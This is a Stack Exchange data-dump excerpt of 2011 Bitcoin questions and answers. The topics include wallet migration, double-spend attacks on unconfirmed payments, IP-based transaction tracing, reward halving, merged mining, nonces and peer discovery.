  <row Id="1271" PostTypeId="2" ParentId="1270" CreationDate="2011-09-27T10:25:49.287" Score="17" Body="&lt;p&gt;You need both a different RPC port (&lt;code&gt;-rpcport&lt;/code&gt;), a different P2P port (&lt;code&gt;-port&lt;/code&gt;), and a different working directory (&lt;code&gt;-datadir&lt;/code&gt;).  You will also need to use the daemon (bitcoind) for everything after the first instance, since only one GUI can be running at the same time.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="44" LastEditDate="2011-09-28T02:45:59.383" LastActivityDate="2011-09-28T02:45:59.383" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1272" PostTypeId="1" AcceptedAnswerId="1311" CreationDate="2011-09-27T10:36:45.993" Score="18" ViewCount="1197" Body="&lt;p&gt;My wallet.dat (bitcoin-3.4) has maybe been left on a work machine, leaving it accessible to the admins there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to transfer all my current funds to a new wallet. How do I do this and how can I make sure that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I still will be able to receive on the old keys (in case someone sends something there)&lt;/li&gt;&#xA;&lt;li&gt;Not all my funds are transferred to the same key, making me more traceable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="125" LastActivityDate="2011-09-30T21:17:17.480" Title="How can I transfer all funds to new keys?" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1273" PostTypeId="2" ParentId="1272" CreationDate="2011-09-27T14:12:07.927" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;Any public bitcoin address has corresponding private key that is used to control funds sent to that public address. So you can receive on the old keys as long as you don't lose corresponding private keys from the old wallet. It is also possible to export information from old wallet to new wallet with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot;&gt;Pywallet&lt;/a&gt;, but of course make sure to have backups and use the program at your own risk.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coderrr.wordpress.com/2011/06/30/patching-the-bitcoin-client-to-make-it-more-anonymous/&quot;&gt;Patched version of bitcoin client&lt;/a&gt; from Coderrr (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=23354.0&quot;&gt;bitcointalk thread&lt;/a&gt;), allows to choose Send From addresses for transaction to increase anonymity, but you would still have to manually enter different Send To addresses.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TLDR: this patch allows you to …&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;see all addresses, including change&lt;/li&gt;&#xA;  &lt;li&gt;see which addresses are linked together (does recursive expansion&#xA;  of address linkages)&lt;/li&gt;&#xA;  &lt;li&gt;select which address(es) to send from, rather than letting the&#xA;  client to chose (randomly) for you&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Complete anonymity is achievable, but complicated task when sending bitcoins, &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot;&gt;Bitcoin Wiki - Anonymity&lt;/a&gt; has good tips for that.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-09-27T21:41:38.060" LastActivityDate="2011-09-27T21:41:38.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1275" PostTypeId="2" ParentId="181" CreationDate="2011-09-27T16:35:51.367" Score="6" Body="&lt;p&gt;There is a period of time before a transaction has fully confirmed where a tactic similar to counterfeiting could be successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A race attack is one -- where at the time of purchase two transactions using the same bitcoin are sent.  The first spend transaction is sent to an address the attacker controls, but is announced only to nodes of miners.  At about the same time (milliseconds) a second spend attempt is sent to the merchant's bitcoin address and is announced to a wide number of nodes.  The hope by the attacker is that the second transaction beats the first in getting relayed to the merchant's node.  When that happens, the merchant accepting on 0/unconfirmed will deem payment as received but the transaction will never confirm later as the mining nodes that saw the first transaction will have rejected it and instead will confirm the first spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been no claims published as to how successful this race attack would be and no reports of merchants getting defrauded from it but few merchants accept 0/unconfirmed thus far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a way then, the second spend was an attempt to perform a counterfeit bitcoin transaction, and there is some (well above zero) likelihood of it being technically successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Finney attack is another method to attempt a counterfeit against a 0/unconfirmed.&#xA;- &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#The_.22Finney.22_attack&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Weaknesses#The_.22Finney.22_attack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if the merchant doesn't take precautions, there is a variation on the Finney attack where even a 1/unconfirmed can be a counterfeit:&#xA; - &lt;a href=&quot;http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&quot; rel=&quot;noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2011-09-27T16:52:05.233" LastActivityDate="2011-09-27T16:52:05.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1276" PostTypeId="2" ParentId="52" CreationDate="2011-09-27T16:41:26.983" Score="3" Body="&lt;p&gt;When you create a transaction and broadcast it to the network it is possible a group of well connected nodes could identify you as the owner of that transaction and therefore as the owner of a particular address. The theory is if you connected to every node on the network then the first node to relay you a transaction is the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor can help disguise you somewhat however the tor exit node owner could still identify you if he was monitoring bitcoin traffic. A publicly available example of this technique (experimental) can be found at &lt;a href=&quot;http://pi.uk.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://pi.uk.com/bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can search for an ip e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pi.uk.com/bitcoin/ip-address/78.47.187.255&quot; rel=&quot;nofollow&quot;&gt;http://pi.uk.com/bitcoin/ip-address/78.47.187.255&lt;/a&gt; (Eligius's push pool ip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or view ips associated with an address e.g. &lt;a href=&quot;http://pi.uk.com/bitcoin/address/174972669bb20f9c44f2ba160c24727ef69da210&quot; rel=&quot;nofollow&quot;&gt;http://pi.uk.com/bitcoin/address/174972669bb20f9c44f2ba160c24727ef69da210&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;clicking on &quot;Associated ips&quot; which will show you all the ips who have relayed transactions involving a particular address. If one ip appears more frequently they are the probable owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run 3 nodes each connected to ~1000 nodes, it is estimated that there are around 30,000 active bitcoin nodes at any one time so I am only connected to a small %. Someone with more resources can (and may already) be doing this on a larger scale.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="4525" LastEditDate="2013-04-20T16:02:58.417" LastActivityDate="2013-04-20T16:02:58.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1277" PostTypeId="2" ParentId="176" CreationDate="2011-09-27T19:15:31.023" Score="4" Body="&lt;p&gt;People who have push access (as of September 27th, 2011) are according to &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=28150387&quot; rel=&quot;nofollow&quot;&gt;this message on the Bitcoin development mailing lis&lt;/a&gt;t:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gavinandresen&quot; rel=&quot;nofollow&quot;&gt;Gavin Andresen&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tcatm&quot; rel=&quot;nofollow&quot;&gt;Nils Schneider&lt;/a&gt; (a.k.a. tcatm)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/sipa&quot; rel=&quot;nofollow&quot;&gt;Pieter Wuille&lt;/a&gt; (a.k.a. sipa)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jgarzik&quot; rel=&quot;nofollow&quot;&gt;Jeff Garzik&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/alexwaters&quot; rel=&quot;nofollow&quot;&gt;Alex Waters&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some more info on these people can be found &lt;a href=&quot;https://en.bitcoin.it/wiki/People&quot; rel=&quot;nofollow&quot;&gt;on the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-09-27T19:23:57.843" LastActivityDate="2011-09-27T19:23:57.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1278" PostTypeId="1" AcceptedAnswerId="1281" CreationDate="2011-09-27T19:33:06.340" Score="9" ViewCount="1122" Body="&lt;p&gt;There has been some concern about the fact that transaction fees (in their current form) are not an adequate replacement for the current 50BTC block reward.  Gavin &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41345.msg507159#msg507159&quot; rel=&quot;nofollow noreferrer&quot;&gt;has said&lt;/a&gt; as much, as have others.  The issues of incentive misalignment are described in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/876/how-much-will-transaction-fees-eventually-be/895#895&quot;&gt;other threads&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm curious: as the 50BTC-&gt;25BTC block reward reduction approaches, there is a strong incentive for the miners to modify their clients to simply ignore this rule, continue producing 50BTC-reward-blocks, and ignore any blocks which try to reduce the reward.  It requires changing only a single line of code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is in the best interest of every miner to do this, and the miners decide what winds up in the block chain.  Therefore, I suspect that it might actually happen.  Is there reason to believe otherwise?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously if more than half the miners agree, they can change any aspect of the bitcoin protocol.  But this is a bit different: &lt;em&gt;it's easier to get a bunch of people to agree to &lt;strong&gt;not&lt;/strong&gt; make a scheduled change in the protocol than to make a new change&lt;/em&gt;.  It's also easier to do this if omitting the scheduled change is in all the miners' best interest.  So I think that eliminating the reward reduction is a lot more likely than any other protocol modification.  &lt;strong&gt;&quot;Oops, I forgot to reduce the reward I pay myself!&quot;&lt;/strong&gt;  It's also less likely to produce panicked &quot;OMG they changed the rules of the game&quot; and a crash in the BTC exchange rate, since &lt;em&gt;what's really happening here is less change, not more&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Additional note: although pooled mining makes it easier for this to happen, no &quot;agreement between pools&quot; or collusion is actually needed.  Think of it this way: the block that is supposed to reduce the reward to 25BTC is very likely to be a forking point in the blockchain.  Every miner will decide for him/herself which side of the fork to work on.  The fact that there is more reward on the non-reduced side of the fork means that a rational miner will choose that side.  The fact that more miners work on that fork means it will ultimately become the &quot;real&quot; blockchain.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-27T14:02:09.263" Title="Do miners have both the incentive and ability to keep the reward at 50BTC?" Tags="|mining-reward|majority-attack|reward-schedule|mining-theory|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1281" PostTypeId="2" ParentId="1278" CreationDate="2011-09-27T20:53:30.537" Score="16" Body="&lt;p&gt;It's not just about the miners, it is also about people using bitcoin. If miners decide to fork the chain and keep block bounty at 50btc, they cannot use those bitcoins in any place where people have not also modified their non-mining bitcoin client. Protocol changes are not just about &gt;50% of miners, but about &gt;50% of user clients. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, since users do not have any incentive to modify their clients to treat the new fork as legitimate, rather than the original rules fork, any miner that decides to spend his resources mining the new &quot;50 btc forever&quot; fork is just going to be wasting time, since he will not be able to spend his coins anywhere; they'll be rejected as illegitimate by users, merchants, exchanges, etc.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-09-27T20:53:30.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1282" PostTypeId="2" ParentId="1278" CreationDate="2011-09-27T23:01:35.727" Score="1" Body="&lt;p&gt;I don't think it would happen. If the market didn't go along with the miners, the Bitcoins they mine would be worthless. Meanwhile, the difficulty on the original chain would drop, increasing its profitability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be a more realistic fear when the reward starts to drop more catastrophically in the future. But it's hard to predict what would happen then because we really don't know what the usage of Bitcoin will be like then.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-27T23:01:35.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1285" PostTypeId="1" AcceptedAnswerId="1286" CreationDate="2011-09-28T09:37:43.580" Score="15" ViewCount="306" Body="&lt;p&gt;The mining rewards are scheduled to drop from 50btc to 25btc. The next drop again will be from 25 to 12.5btc. In each of the steps into a new &quot;era&quot; the mining reward is reduced by 50%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a very dramatic pay cut at each juncture, Is there a reason why the amount isn't being decreased more gradually by smaller and more frequent amounts?&lt;/p&gt;&#xA;" OwnerUserId="469" LastEditorUserId="5406" LastEditDate="2014-03-25T22:56:16.083" LastActivityDate="2014-03-25T22:56:16.083" Title="Why are the mining rewards set to reduce in such dramatic steps?" Tags="|mining-profitability|money-supply|price-volatility|reward-schedule|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1286" PostTypeId="2" ParentId="1285" CreationDate="2011-09-28T11:52:55.227" Score="6" Body="&lt;p&gt;It`s a &lt;a href=&quot;http://en.wikipedia.org/wiki/Geometric_progression&quot; rel=&quot;noreferrer&quot;&gt;geometric series&lt;/a&gt; with the base 1/2. After half of the remaining coins are mined, rate is decreased until half of remaining coins since the drop are mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate is convergent, that is, it approaches a finite number and doesn't go on until infinity (like say, 1, 1/2, 1/3... 1/n would). This makes it so that there will never be more than certain amount of Bitcoins created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why it is so dramatic, probably for the ease of calculating whether the block is correct. If you would have some complicated way of calculating the reward some of the coins might be lost due to rounding error (below 1 Satoshi), and different (non-official) clients might have issues with calculating the result effectively. Moreover, these sudden decreases in amount of coins generated probably will increase the worth of Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-28T11:52:55.227" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1287" PostTypeId="1" AcceptedAnswerId="1289" CreationDate="2011-09-28T13:21:11.717" Score="4" ViewCount="536" Body="&lt;p&gt;Where can I find a raw version of the Bitcoin blocks and other messages that are sent between the Bitcoin clients?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-28T14:58:51.383" Title="Raw block / other messages" Tags="|client|blockchain|development|protocol|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1288" PostTypeId="2" ParentId="273" CreationDate="2011-09-28T14:39:46.660" Score="37" Body="&lt;p&gt;Basically the idea is that you assemble a Namecoin block and hash it, and then insert that hash into a Bitcoin block.  Now when you solve the Bitcoin block at a difficulty level greater to or equal to the Namecoin difficulty level, it will be proof that that amount of work has been done for the Namecoin block.   The Namecoin protocol has been altered to accept a Bitcoin block (solved at or above the Namecoin difficulty level) containing a hash of a Namecoin block as proof of work for the Namecoin block.  The Bitcoin block will only be acceptable to the Bitcoin network if it is at the difficulty of the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin block chain gets a single extra hash when a merged mining block is accepted, and the Namecoin block chain gets a little bit more (because it includes the Bitcoin block) when a merged mining block is accepted. However, because of the Merkle Tree, the entire Bitcoin block doesn’t need to be included in the Namecoin tree, just the top level hashes (so the extra bloat to the Namecoin chain is not a big problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you make more money mining both Namecoins and Bitcoins miners will eventually all do merged mining, and the difficulty level for all block chains will eventually be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, the economic incentive to mine will be the combined economic incentive of all networks, making all networks more secure.  Of course this allows competing networks (with different inflation rates) to quickly become secure.  This subjects Bitcoin to more competition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately the value of Bitcoin is a reflection of the need for Bitcoins to make exchanges.  The more people using Bitcoin to make purchases, the more demand there is for Bitcoins, and the higher the price of Bitcoins goes.  (Speculation also raises the price, but long term speculation is essentially a bet that the transactional demand for Bitcoin will increase in the future.)  The higher the price, the higher the incentive to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any given time there is a certain amount of demand for a Bitcoin like currency to make transactions.  That need doesn’t increase with more competition.  That means that the transactional demand for Bitcoin is really the same as the transactional demand for all substantially similar forms of payment.  As more currencies are competing to fill the same demand they actually reduce the demand for the other currencies as they become more widely used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that ultimately, to the extent that currencies are interchangeable to end users, merged mining does not increase the overall security of the networks.  The demand for currencies drives the price (and thus the value of the reward).  Increased demand for any given currency results in decreased demand for others, lowering the incentive to mine for the other currencies.  The total incentive is a function of total demand for all Bitcoin like currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except now competing currencies can market themselves as “as secure as Bitcoin but with lower transaction fees.”  In other words there is a race to the bottom among competing currencies to offer the lowest transaction fees, because lowering the transaction fee doesn’t hurt the security of the network in comparison to the other merged mining networks.  Users, following their own self interest, will adopt the currency with the lowest transaction fees as long as it has the same security of the competitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will increase the price of the currency with the lowest transaction fee (because demand for the currency is higher), and decrease the price of the currencies with higher transactions fees (because demand for those currencies is dropping as it is being filled by demand for the competing currency).  Because the currencies with the higher transaction fees were the ones generating the incentive to mine, overall incentive to mine will diminish.  As long as a currency’s mining is merged with the freeloading currency, it will be powerless to increase incentives by imposing mandatory transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result will be a decrease in mining incentive, a decrease in mining, and ultimately all networks that allow merged mining will become insecure.&lt;/p&gt;&#xA;" OwnerUserId="508" LastEditorUserId="659" LastEditDate="2012-04-06T04:35:01.447" LastActivityDate="2012-04-06T04:35:01.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1289" PostTypeId="2" ParentId="1287" CreationDate="2011-09-28T14:58:51.383" Score="6" Body="&lt;p&gt;The wiki describes this:&#xA; - &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Common_structures&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Common_structures&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlockExplorer will show the raw data.  For example:&#xA; - &lt;a href=&quot;http://blockexplorer.com/rawblock/00000000000008d11f13eed2e13f2765eceaf00de36e0ec040a10cc3738bdc74&quot;&gt;http://blockexplorer.com/rawblock/00000000000008d11f13eed2e13f2765eceaf00de36e0ec040a10cc3738bdc74&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-28T14:58:51.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1290" PostTypeId="1" CreationDate="2011-09-28T15:38:24.707" Score="25" ViewCount="15939" Body="&lt;p&gt;I know that a block is based on a random number called a nonce, but if that number is random  and unknown to the miner, how is that number actually verified as the correct nonce and not some arbitrary number?&lt;/p&gt;&#xA;" OwnerUserId="509" LastEditorUserId="5406" LastEditDate="2016-01-27T14:03:54.340" LastActivityDate="2017-11-09T17:48:32.210" Title="When a block is &quot;discovered&quot; how is the nonce determined?" Tags="|block|verification|nonce|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1291" PostTypeId="2" ParentId="1290" CreationDate="2011-09-28T16:37:22.613" Score="45" Body="&lt;p&gt;Basically, &lt;strong&gt;there is no such thing as a &quot;correct&quot; nonce, only a set of possible &quot;correct&quot; blocks which can use any nonce they wish to obtain an acceptable hash.  So the nonce &lt;em&gt;is&lt;/em&gt; just &quot;some arbitrary number&quot;.&lt;/strong&gt;  But in order to understand how nonces work, you first have to understand the hashing process by which blocks are produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_hash_function&quot; rel=&quot;noreferrer&quot;&gt;Cryptographic hashes&lt;/a&gt; are a mathematical way of turning any set of data into a random number, called a hash.  The hashing process is designed so that &lt;a href=&quot;http://en.wikipedia.org/wiki/One-way_function&quot; rel=&quot;noreferrer&quot;&gt;it's easy to calculate the hash of some data but nearly impossible to find data which will fit a specific hash&lt;/a&gt;, having even a slightly different set of data will produce a totally different hash, and so that the only way to find a hash with a particular property (say, being below a certain number) is to calculate lots of them until you get lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the Bitcoin network, only blocks with certain hashes get accepted and included in the official list.&lt;/strong&gt;  The criteria for which blocks &quot;count&quot; is that their hash has to be below a certain number called the target.  The network adjusts this number up and down according to how frequently blocks are passing the test--this is how it's able to keep the rate of block production at an average of 10 minutes per block.  So if the target is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000692856290566183958127638592383846392938562929689273923968&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then a block with a hash of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000739485762992939239823472938472569106923385616929838472389&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;won't be accepted, but blocks with hashes of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000683060299472046094517810601040976920106812102601296720934&#xA;&#xA;00000000000000000000000000000000000000000000000000000000453737&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000692856290566183958127638592383846392938562929689273923967&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will all pass with flying colours.  These aren't real hashes--they're just examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner is taking a list of checked and valid transactions, putting them together in the right format, and then calculating their cryptographic hash.  But let's say that the hash they get doesn't meet the criteria (as most of them don't).  What are they supposed to do?  &lt;strong&gt;The only way to get a different hash is to use at least slightly different data.&lt;/strong&gt;  So instead of messing up their list of valid transactions or anything like that, blocks have something called a nonce in them.  &lt;strong&gt;The nonce is just a meaningless number that can be changed as many times as you like so that you can check a bunch of different hashes and see whether they pass the network's difficulty check.&lt;/strong&gt;  So when a miner is checking billions of hashes per second (as many of them are) they are just changing the nonce to something else, checking the hash of the whole block; changing the nonce to something else, checking the hash of the (now slightly different) block; changing the nonce again, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this sense &lt;strong&gt;a &quot;correct&quot; nonce is simply the one that allows the block to hash to an acceptable number.&lt;/strong&gt;  Just like there are many acceptable hashes, there are many different nonces which will work for the same block.  But a miner only has to find one of them.  Whichever one they find first is just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in how the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23912/how-is-the-target-section-of-a-block-header-calculated&quot;&gt;target is calculated.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-10-23T06:00:43.600" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1292" PostTypeId="1" AcceptedAnswerId="1295" CreationDate="2011-09-28T18:53:49.873" Score="11" ViewCount="571" Body="&lt;p&gt;I'm currently learning more and more about the Bitcoin protocol and I`m wondering if using an IRC channel as the source to find your Bitcoin peers is a potential weak link of the Bitcoin network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand the channel is hosted on irc.lfnet.org , so if that website was brought down normal clients would be unable to find peers?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-03-20T04:34:39.070" Title="Bitcoin client IRC - a potential network weak link?" Tags="|client|development|protocol|irc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1293" PostTypeId="1" AcceptedAnswerId="1304" CreationDate="2011-09-28T20:03:59.093" Score="15" ViewCount="2094" Body="&lt;p&gt;I thought it was the ALU OPs like here: &#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=7964.0&quot;&gt;https://bitcointalk.org/index.php?topic=7964.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ArtForz speaks of much higher values, though: &#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=4689.msg68933#msg68933&quot;&gt;https://bitcointalk.org/index.php?topic=4689.msg68933#msg68933&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the kernel run more than once for a hash? What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2011-09-30T15:15:08.197" Title="How many Integer Operations on a GPU are necessary for one Hash?" Tags="|hash|difficulty|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1294" PostTypeId="2" ParentId="1293" CreationDate="2011-09-28T20:21:56.867" Score="11" Body="&lt;p&gt;The ALU OP numbers are correct. The numbers vary based on the video card but are basically in the range of 1,300 to 1,700 operations per double-hash. On the x86, you need more instructions (around 3,700 - 4,500 depending on the exact CPU) but these CPUs can average more than one operation per clock cycle, so you can't convert instruction counts directly into execution speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All sensible mining implementations (CPU or GPU) attempt more than one hash at a time. On an x86 CPU, it's typically around four hashes at a time (one per core). On a GPU, it's more like 1,000 - 3,000 hashes at a time (one per core). Hence the &lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU#Short_Answer&quot;&gt;superior hashing performance of GPUs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-28T20:49:21.487" LastActivityDate="2011-09-28T20:49:21.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1295" PostTypeId="2" ParentId="1292" CreationDate="2011-09-28T20:26:31.570" Score="12" Body="&lt;p&gt;They'd have no problem finding peers for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the client finds a single peer, it can get a list of peers from that peer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client has a built-in list of about 500 peer IP addresses known to be stable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client knows several DNS names (such as &lt;code&gt;bitseed.xf2.org&lt;/code&gt; and &lt;code&gt;dnsseed.bluematt.me&lt;/code&gt;) that resolve to lists of Bitcoin peers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The client stores peer addresses in a local database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In fact, IRC has been removed from the Bitcoin client since 2013.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2306" LastEditDate="2015-03-20T04:34:39.070" LastActivityDate="2015-03-20T04:34:39.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1296" PostTypeId="2" ParentId="1292" CreationDate="2011-09-28T20:40:42.073" Score="9" Body="&lt;p&gt;New clients that do not yet have addresses stored in the addr.dat will use irc as a bootstrapping mechanism.  Even with this limited role, using IRC exposes a weakness: &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Cancer_nodes&quot;&gt;https://en.bitcoin.it/wiki/Weaknesses#Cancer_nodes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IRC bootstrapping will be going away in the future [Edit: as David write, it is deprecated in the latest version], in favor of the dnsseed method: &#xA; - &lt;a href=&quot;http://bitcointalk.org/index.php?topic=24457.msg305424#msg305424&quot;&gt;http://bitcointalk.org/index.php?topic=24457.msg305424#msg305424&lt;/a&gt;&#xA; - &lt;a href=&quot;http://en.bitcoin.it/wiki/Network#IRC&quot;&gt;http://en.bitcoin.it/wiki/Network#IRC&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-28T20:40:42.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
